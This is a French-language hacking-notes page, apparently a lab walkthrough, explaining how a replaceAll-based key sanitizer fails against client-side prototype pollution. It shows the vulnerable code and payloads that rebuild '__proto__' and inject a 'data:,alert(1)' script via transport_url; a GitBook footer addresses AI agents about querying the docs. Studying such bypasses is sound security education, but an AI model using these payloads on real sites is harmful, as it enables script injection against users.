> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md).

# Pollution de prototype côté client via une sanitisation défectueuse

### Pollution de prototype côté client via une sanitisation défectueuse

#### (1) Contexte et idée générale

L'application lit les paramètres de l'URL puis les transforme en objet JavaScript via `deparam(...)`:

* Elle construit `config = { params: deparam(...) }`
* Puis elle utilise `config.transport_url` pour charger un `<script src="...">`

Pour éviter la pollution du prototype, les développeurs ont ajouté `sanitizeKey()` qui supprime les sous-chaînes suivantes dans les clés : / `constructor`, `__proto__`, `prototype`.

Problème : cette sanitisation n’est qu’un **replaceAll**. Si **on découpe** le mot interdit en morceaux, après remplacement il peut **reconstituer**.

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Échec du stockage de la requête");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);
```

#### 2) Source : contourner le filtre et polluer `Object.prototype`

Le filtre supprime `__proto__` S’il est présent tel quel. / Il est reconstruit en mettant `__proto__` **au milieu** d’une clé plus longue, de sorte qu’après suppression, la clé finale devienne exactement `__proto__`.

Charge utile :

```javascript
?__pro__proto__to__[foo]=bar
```

Après sanitisation :

* `__pro__proto__to__` → (suppression de `__proto__`) `__proto__`

C’est donc comme :

* `?__proto__[foo]=bar` → pollution globale du prototype

À vérifier dans la console :

```javascript
console.log({}.foo)
```

<figure><img src="/files/768a4984736ce324db2b8c00688fb3be66ee1bc5" alt="" width="520"><figcaption></figcaption></figure>

#### (4) Exploit final : déclencher `alert()`

`transport_url` est pollué avec un `data:` schéma qui exécute du JS lorsque le script est chargé :

```javascript
?__pro__proto__to__[transport_url]=data:,alert(1)
```

<figure><img src="/files/329a3545771ad3ec25bd5395ea32fcba0c921f01" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-via-flawed-sanitization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
